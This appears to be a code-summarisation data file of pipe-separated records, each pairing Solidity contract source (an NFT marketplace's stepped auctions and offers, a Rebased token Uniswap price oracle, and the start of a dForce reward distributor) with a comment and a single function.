uint256 tokenId = _facilitateNextPrimarySale(_editionId, expectedPrice, _buyer, true);
// Bump the current step
uint16 step = steppedAuction.currentStep;
// no safemath for uint16
steppedAuction.currentStep = step + 1;
// send back excess if supplied - will allow UX flow of setting max price to pay
if (msg.value > expectedPrice) {
(bool success,) = _msgSender().call{value : msg.value - expectedPrice}("");
require(success, "failed to send overspend back");
}
emit EditionSteppedSaleBuy(_editionId, tokenId, _buyer, expectedPrice, step);
}
// creates an exit from a step if required but forces a buy now price
function convertSteppedAuctionToListing(uint256 _editionId, uint128 _listingPrice, uint128 _startDate)
public
override
nonReentrant
whenNotPaused {
Stepped storage steppedAuction = editionStep[_editionId];
require(_listingPrice >= minBidAmount, "List price not enough");
require(
steppedAuction.seller == _msgSender()
|| accessControls.isVerifiedArtistProxy(steppedAuction.seller, _msgSender()),
"Only seller can convert"
);
// Store listing data
editionOrTokenListings[_editionId] = Listing(_listingPrice, _startDate, steppedAuction.seller);
// emit event
emit ConvertSteppedAuctionToBuyNow(_editionId, _listingPrice, _startDate);
// Clear up the step logic
delete editionStep[_editionId];
}
function convertSteppedAuctionToOffers(uint256 _editionId, uint128 _startDate)
public
override
whenNotPaused {
Stepped storage steppedAuction = editionStep[_editionId];
require(
steppedAuction.seller == _msgSender()
|| accessControls.isVerifiedArtistProxy(steppedAuction.seller, _msgSender()),
"Only seller can convert"
);
// set the start date for the offer (optional)
editionOffersStartDate[_editionId] = _startDate;
// Clear up the step logic
delete editionStep[_editionId];
emit ConvertFromBuyNowToOffers(_editionId, _startDate);
}
// Get the next
function getNextEditionSteppedPrice(uint256 _editionId) public view returns (uint256 price) {
price = _getNextEditionSteppedPrice(_editionId);
}
function _getNextEditionSteppedPrice(uint256 _editionId) internal view returns (uint256 price) {
Stepped storage steppedAuction = editionStep[_editionId];
uint256 stepAmount = uint256(steppedAuction.stepPrice) * uint256(steppedAuction.currentStep);
price = uint256(steppedAuction.basePrice) + stepAmount;
}
function convertReserveAuctionToBuyItNow(uint256 _editionId, uint128 _listingPrice, uint128 _startDate)
public
override
whenNotPaused
nonReentrant {
require(_listingPrice >= minBidAmount, "Listing price not enough");
_removeReserveAuctionListing(_editionId);
editionOrTokenListings[_editionId] = Listing(_listingPrice, _startDate, _msgSender());
emit ReserveAuctionConvertedToBuyItNow(_editionId, _listingPrice, _startDate);
}
function convertReserveAuctionToOffers(uint256 _editionId, uint128 _startDate)
public
override
whenNotPaused
nonReentrant {
_removeReserveAuctionListing(_editionId);
// set the start date for the offer (optional)
editionOffersStartDate[_editionId] = _startDate;
emit ReserveAuctionConvertedToOffers(_editionId, _startDate);
}
// admin
function updatePlatformPrimarySaleCommission(uint256 _platformPrimarySaleCommission) public onlyAdmin {
platformPrimarySaleCommission = _platformPrimarySaleCommission;
emit AdminUpdatePlatformPrimarySaleCommission(_platformPrimarySaleCommission);
}
function setKoCommissionOverrideForCreator(address _creator, bool _active, uint256 _koCommission) public onlyAdmin {
KOCommissionOverride storage koCommissionOverride = koCommissionOverrideForCreators[_creator];
koCommissionOverride.active = _active;
koCommissionOverride.koCommission = _koCommission;
emit AdminSetKoCommissionOverrideForCreator(_creator, _koCommission);
}
function setKoCommissionOverrideForEdition(uint256 _editionId, bool _active, uint256 _koCommission) public onlyAdmin {
KOCommissionOverride storage koCommissionOverride = koCommissionOverrideForEditions[_editionId];
koCommissionOverride.active = _active;
koCommissionOverride.koCommission = _koCommission;
emit AdminSetKoCommissionOverrideForEdition(_editionId, _koCommission);
}
// internal
function _isListingPermitted(uint256 _editionId) internal view override returns (bool) {
return !_isEditionListed(_editionId);
}
function _isReserveListingPermitted(uint256 _editionId) internal view override returns (bool) {
return koda.getSizeOfEdition(_editionId) == 1 && accessControls.hasContractRole(_msgSender());
}
function _hasReserveListingBeenInvalidated(uint256 _id) internal view override returns (bool) {
bool isApprovalActiveForMarketplace = koda.isApprovedForAll(
editionOrTokenWithReserveAuctions[_id].seller,
address(this)
);
return !isApprovalActiveForMarketplace || koda.isSalesDisabledOrSoldOut(_id);
}
function _isBuyNowListingPermitted(uint256) internal view override returns (bool) {
return accessControls.hasContractRole(_msgSender());
}
function _processSale(uint256 _id, uint256 _paymentAmount, address _buyer, address) internal override returns (uint256) {
return _facilitateNextPrimarySale(_id, _paymentAmount, _buyer, false);
}
function _facilitateNextPrimarySale(uint256 _editionId, uint256 _paymentAmount, address _buyer, bool _reverse) internal returns (uint256) {
// for stepped sales, should they be sold in reverse order ie. 10...1 and not 1...10?
// get next token to sell along with the royalties recipient and the original creator
(address receiver, address creator, uint256 tokenId) = _reverse
? koda.facilitateReversePrimarySale(_editionId)
: koda.facilitateNextPrimarySale(_editionId);
// split money
_handleEditionSaleFunds(_editionId, creator, receiver, _paymentAmount);
// send token to buyer (assumes approval has been made, if not then this will fail)
koda.safeTransferFrom(creator, _buyer, tokenId);
// N:B. open offers are left once sold out for the bidder to withdraw or the artist to reject
return tokenId;
}
function _handleEditionSaleFunds(uint256 _editionId, address _creator, address _receiver, uint256 _paymentAmount) internal {
uint256 primarySaleCommission;
if (koCommissionOverrideForEditions[_editionId].active) {
primarySaleCommission = koCommissionOverrideForEditions[_editionId].koCommission;
}
else if (koCommissionOverrideForCreators[_creator].active) {
primarySaleCommission = koCommissionOverrideForCreators[_creator].koCommission;
}
else {
primarySaleCommission = platformPrimarySaleCommission;
}
uint256 koCommission = (_paymentAmount / modulo) * primarySaleCommission;
if (koCommission > 0) {
(bool koCommissionSuccess,) = platformAccount.call{value : koCommission}("");
require(koCommissionSuccess, "Edition commission payment failed");
}
(bool success,) = _receiver.call{value : _paymentAmount - koCommission}("");
require(success, "Edition payment failed");
}
// as offers are always possible, we wont count it as a listing
function _isEditionListed(uint256 _editionId) internal view returns (bool) {
if (editionOrTokenListings[_editionId].seller != address(0)) {
return true;
}
if (editionStep[_editionId].seller != address(0)) {
return true;
}
if (editionOrTokenWithReserveAuctions[_editionId].seller != address(0)) {
return true;
}
return false;
}
function _placeEditionBid(uint256 _editionId, address _bidder) internal {
require(!_isEditionListed(_editionId), "Edition is listed");
Offer storage offer = editionOffers[_editionId];
require(msg.value >= offer.offer + minBidAmount, "Bid not high enough");
// Honor start date if set
uint256 startDate = editionOffersStartDate[_editionId];
if (startDate > 0) {
require(block.timestamp >= startDate, "Not yet accepting offers");
// elapsed, so free storage
delete editionOffersStartDate[_editionId];
}
// send money back to top bidder if existing offer found
if (offer.offer > 0) {
_refundBidder(_editionId, offer.bidder, offer.offer, _msgSender(), msg.value);
}
// setup offer
editionOffers[_editionId] = Offer(msg.value, _bidder, _getLockupTime());
emit EditionBidPlaced(_editionId, _bidder, msg.value);
}
}
|
send money back to top bidder if existing offer found
|
function convertOffersToBuyItNow(uint256 _editionId, uint128 _listingPrice, uint128 _startDate)
public
override
whenNotPaused
nonReentrant {
require(!_isEditionListed(_editionId), "Edition is listed");
address creatorOfEdition = koda.getCreatorOfEdition(_editionId);
require(
creatorOfEdition == _msgSender()
|| accessControls.isVerifiedArtistProxy(creatorOfEdition, _msgSender()),
"Not creator"
);
require(_listingPrice >= minBidAmount, "Listing price not enough");
Offer storage offer = editionOffers[_editionId];
if (offer.offer > 0) {
_refundBidder(_editionId, offer.bidder, offer.offer, address(0), 0);
}
emit EditionConvertedFromOffersToBuyItNow(_editionId, _listingPrice, _startDate);
}
| 1,180,722 |
// SPDX-License-Identifier: MIT
/*
MIT License
Copyright (c) 2020 Rebased
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity 0.5.17;
interface IOracle {
function getData() external view returns (uint256);
function update() external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title REB price Oracle
* This Oracle calculates the average USD price of REB based on the ETH/REB und USDC/ETH Uniswap pools.
*/
contract RebasedOracle is IOracle, Ownable {
using FixedPoint for *;
uint private reb2EthPrice0CumulativeLast;
uint private reb2EthPrice1CumulativeLast;
uint32 private reb2EthBlockTimestampLast;
uint private usdcEthPrice0CumulativeLast;
uint private usdcEthPrice1CumulativeLast;
uint32 private usdcEthBlockTimestampLast;
address private constant _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
IUniswapV2Pair private _reb2_eth;
IUniswapV2Pair private _usdc_eth;
address public controller;
modifier onlyControllerOrOwner {
require(msg.sender == controller || msg.sender == owner());
_;
}
// Uniswap REB2-ETH: 0x54f5f952cca8888227276581F26978F99FDBa64E
// Uniswap USDC-ETH: 0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc
constructor(
address _controller,
address __reb2_eth, // Address of the REB2/ETH Uniswap pair
address __usdc_reb // Address of the USDC/ETH Uniswap pair
) public {
controller = _controller;
_reb2_eth = IUniswapV2Pair(__reb2_eth);
_usdc_eth = IUniswapV2Pair(__usdc_reb);
uint112 _dummy1;
uint112 _dummy2;
reb2EthPrice0CumulativeLast = _reb2_eth.price0CumulativeLast();
reb2EthPrice1CumulativeLast = _reb2_eth.price1CumulativeLast();
(_dummy1, _dummy2, reb2EthBlockTimestampLast) = _reb2_eth.getReserves();
usdcEthPrice0CumulativeLast = _usdc_eth.price0CumulativeLast();
usdcEthPrice1CumulativeLast = _usdc_eth.price1CumulativeLast();
(_dummy1, _dummy2, usdcEthBlockTimestampLast) = _usdc_eth.getReserves();
}
// Get the average price of 1 REB in Wei
function getRebEthRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_reb2_eth));
FixedPoint.uq112x112 memory rebEthAverage = FixedPoint.uq112x112(uint224(1e9 * (price0Cumulative - reb2EthPrice0CumulativeLast) / (_blockTimestamp - reb2EthBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, rebEthAverage.mul(1).decode144());
}
// Get the average price of 1 USD in Wei
function getUsdcEthRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_usdc_eth));
FixedPoint.uq112x112 memory usdcEthAverage = FixedPoint.uq112x112(uint224(1e6 * (price0Cumulative - usdcEthPrice0CumulativeLast) / (_blockTimestamp - usdcEthBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, usdcEthAverage.mul(1).decode144());
}
// Update "last" state variables to current values
function update() external onlyControllerOrOwner {
uint rebEthAverage;
uint usdcEthAverage;
(reb2EthPrice0CumulativeLast, reb2EthPrice1CumulativeLast, reb2EthBlockTimestampLast, rebEthAverage) = getRebEthRate();
(usdcEthPrice0CumulativeLast, usdcEthPrice1CumulativeLast, usdcEthBlockTimestampLast, usdcEthAverage) = getUsdcEthRate();
}
// Return the average price since last update
function getData() external view returns (uint256) {
uint _price0CumulativeLast;
uint _price1CumulativeLast;
uint32 _blockTimestampLast;
uint rebEthAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, rebEthAverage) = getRebEthRate();
uint usdcEthAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, usdcEthAverage) = getUsdcEthRate();
uint answer = (rebEthAverage * 1e18) / usdcEthAverage;
return (answer);
}
}
|
Get the average price of 1 REB in Wei
|
function getRebEthRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_reb2_eth));
FixedPoint.uq112x112 memory rebEthAverage = FixedPoint.uq112x112(uint224(1e9 * (price0Cumulative - reb2EthPrice0CumulativeLast) / (_blockTimestamp - reb2EthBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, rebEthAverage.mul(1).decode144());
}
| 2,320,729 |
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "./interface/IiToken.sol";
import "./interface/IRewardDistributorV3.sol";
import "./interface/IPriceOracle.sol";
import "./library/Initializable.sol";
import "./library/Ownable.sol";
import "./library/SafeRatioMath.sol";
import "./Controller.sol";
/**
* @title dForce's lending reward distributor Contract
* @author dForce
*/
contract RewardDistributorV3 is Initializable, Ownable, IRewardDistributorV3 {
using SafeRatioMath for uint256;
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
/// @notice the controller
Controller public controller;
/// @notice the global Reward distribution speed
uint256 public globalDistributionSpeed;
/// @notice the Reward distribution speed of each iToken
mapping(address => uint256) public distributionSpeed;
/// @notice the Reward distribution factor of each iToken, 1.0 by default. stored as a mantissa
mapping(address => uint256) public distributionFactorMantissa;
struct DistributionState {
// Token's last updated index, stored as a mantissa
uint256 index;
// The block number the index was last updated at
uint256 block;
}
/// @notice the Reward distribution supply state of each iToken
mapping(address => DistributionState) public distributionSupplyState;
/// @notice the Reward distribution borrow state of each iToken
mapping(address => DistributionState) public distributionBorrowState;
/// @notice the Reward distribution state of each account of each iToken
mapping(address => mapping(address => uint256))
public distributionSupplierIndex;
/// @notice the Reward distribution state of each account of each iToken
mapping(address => mapping(address => uint256))
public distributionBorrowerIndex;
/// @notice the Reward distributed into each account
mapping(address => uint256) public reward;
/// @notice the Reward token address
address public rewardToken;
/// @notice whether the reward distribution is paused
bool public paused;
/// @notice the Reward distribution speed supply side of each iToken
mapping(address => uint256) public distributionSupplySpeed;
/// @notice the global Reward distribution speed for supply
uint256 public globalDistributionSupplySpeed;
/**
* @dev Throws if called by any account other than the controller.
*/
modifier onlyController() {
require(
address(controller) == msg.sender,
"onlyController: caller is not the controller"
);
_;
}
/**
* @notice Initializes the contract.
*/
function initialize(Controller _controller) external initializer {
require(
address(_controller) != address(0),
"initialize: controller address should not be zero address!"
);
__Ownable_init();
controller = _controller;
paused = true;
}
/**
* @notice set reward token address
* @dev Admin function, only owner can call this
* @param _newRewardToken the address of reward token
*/
function _setRewardToken(address _newRewardToken)
external
override
onlyOwner
{
address _oldRewardToken = rewardToken;
require(
_newRewardToken != address(0) && _newRewardToken != _oldRewardToken,
"Reward token address invalid"
);
rewardToken = _newRewardToken;
emit NewRewardToken(_oldRewardToken, _newRewardToken);
}
/**
* @notice Add the iToken as receipient
* @dev Admin function, only controller can call this
* @param _iToken the iToken to add as recipient
* @param _distributionFactor the distribution factor of the recipient
*/
function _addRecipient(address _iToken, uint256 _distributionFactor)
external
override
onlyController
{
distributionFactorMantissa[_iToken] = _distributionFactor;
distributionSupplyState[_iToken] = DistributionState({
index: 0,
block: block.number
});
distributionBorrowState[_iToken] = DistributionState({
index: 0,
block: block.number
});
emit NewRecipient(_iToken, _distributionFactor);
}
/**
* @notice Pause the reward distribution
* @dev Admin function, pause will set global speed to 0 to stop the accumulation
*/
function _pause() external override onlyOwner {
// Set the global distribution speed to 0 to stop accumulation
address[] memory _iTokens = controller.getAlliTokens();
uint256 _len = _iTokens.length;
for (uint256 i = 0; i < _len; i++) {
_setDistributionBorrowSpeed(_iTokens[i], 0);
_setDistributionSupplySpeed(_iTokens[i], 0);
}
_refreshGlobalDistributionSpeeds();
_setPaused(true);
}
/**
* @notice Unpause and set distribution speeds
* @dev Admin function
* @param _borrowiTokens The borrow asset array
* @param _borrowSpeeds The borrow speed array
* @param _supplyiTokens The supply asset array
* @param _supplySpeeds The supply speed array
*/
function _unpause(
address[] calldata _borrowiTokens,
uint256[] calldata _borrowSpeeds,
address[] calldata _supplyiTokens,
uint256[] calldata _supplySpeeds
) external override onlyOwner {
_setPaused(false);
_setDistributionSpeedsInternal(
_borrowiTokens,
_borrowSpeeds,
_supplyiTokens,
_supplySpeeds
);
_refreshGlobalDistributionSpeeds();
}
/**
* @notice Pause/Unpause the reward distribution
* @dev Admin function
* @param _paused whether to pause/unpause the distribution
*/
function _setPaused(bool _paused) internal {
paused = _paused;
emit Paused(_paused);
}
/**
* @notice Set distribution speeds
* @dev Admin function, will fail when paused
* @param _borrowiTokens The borrow asset array
* @param _borrowSpeeds The borrow speed array
* @param _supplyiTokens The supply asset array
* @param _supplySpeeds The supply speed array
*/
function _setDistributionSpeeds(
address[] calldata _borrowiTokens,
uint256[] calldata _borrowSpeeds,
address[] calldata _supplyiTokens,
uint256[] calldata _supplySpeeds
) external onlyOwner {
require(!paused, "Can not change speeds when paused");
_setDistributionSpeedsInternal(
_borrowiTokens,
_borrowSpeeds,
_supplyiTokens,
_supplySpeeds
);
_refreshGlobalDistributionSpeeds();
}
function _setDistributionSpeedsInternal(
address[] memory _borrowiTokens,
uint256[] memory _borrowSpeeds,
address[] memory _supplyiTokens,
uint256[] memory _supplySpeeds
) internal {
_setDistributionBorrowSpeedsInternal(_borrowiTokens, _borrowSpeeds);
_setDistributionSupplySpeedsInternal(_supplyiTokens, _supplySpeeds);
}
/**
* @notice Set borrow distribution speeds
* @dev Admin function, will fail when paused
* @param _iTokens The borrow asset array
* @param _borrowSpeeds The borrow speed array
*/
function _setDistributionBorrowSpeeds(
address[] calldata _iTokens,
uint256[] calldata _borrowSpeeds
) external onlyOwner {
require(!paused, "Can not change borrow speeds when paused");
_setDistributionBorrowSpeedsInternal(_iTokens, _borrowSpeeds);
_refreshGlobalDistributionSpeeds();
}
/**
* @notice Set supply distribution speeds
* @dev Admin function, will fail when paused
* @param _iTokens The supply asset array
* @param _supplySpeeds The supply speed array
*/
function _setDistributionSupplySpeeds(
address[] calldata _iTokens,
uint256[] calldata _supplySpeeds
) external onlyOwner {
require(!paused, "Can not change supply speeds when paused");
_setDistributionSupplySpeedsInternal(_iTokens, _supplySpeeds);
_refreshGlobalDistributionSpeeds();
}
function _refreshGlobalDistributionSpeeds() internal {
address[] memory _iTokens = controller.getAlliTokens();
uint256 _len = _iTokens.length;
uint256 _borrowSpeed;
uint256 _supplySpeed;
for (uint256 i = 0; i < _len; i++) {
_borrowSpeed = _borrowSpeed.add(distributionSpeed[_iTokens[i]]);
_supplySpeed = _supplySpeed.add(
distributionSupplySpeed[_iTokens[i]]
);
}
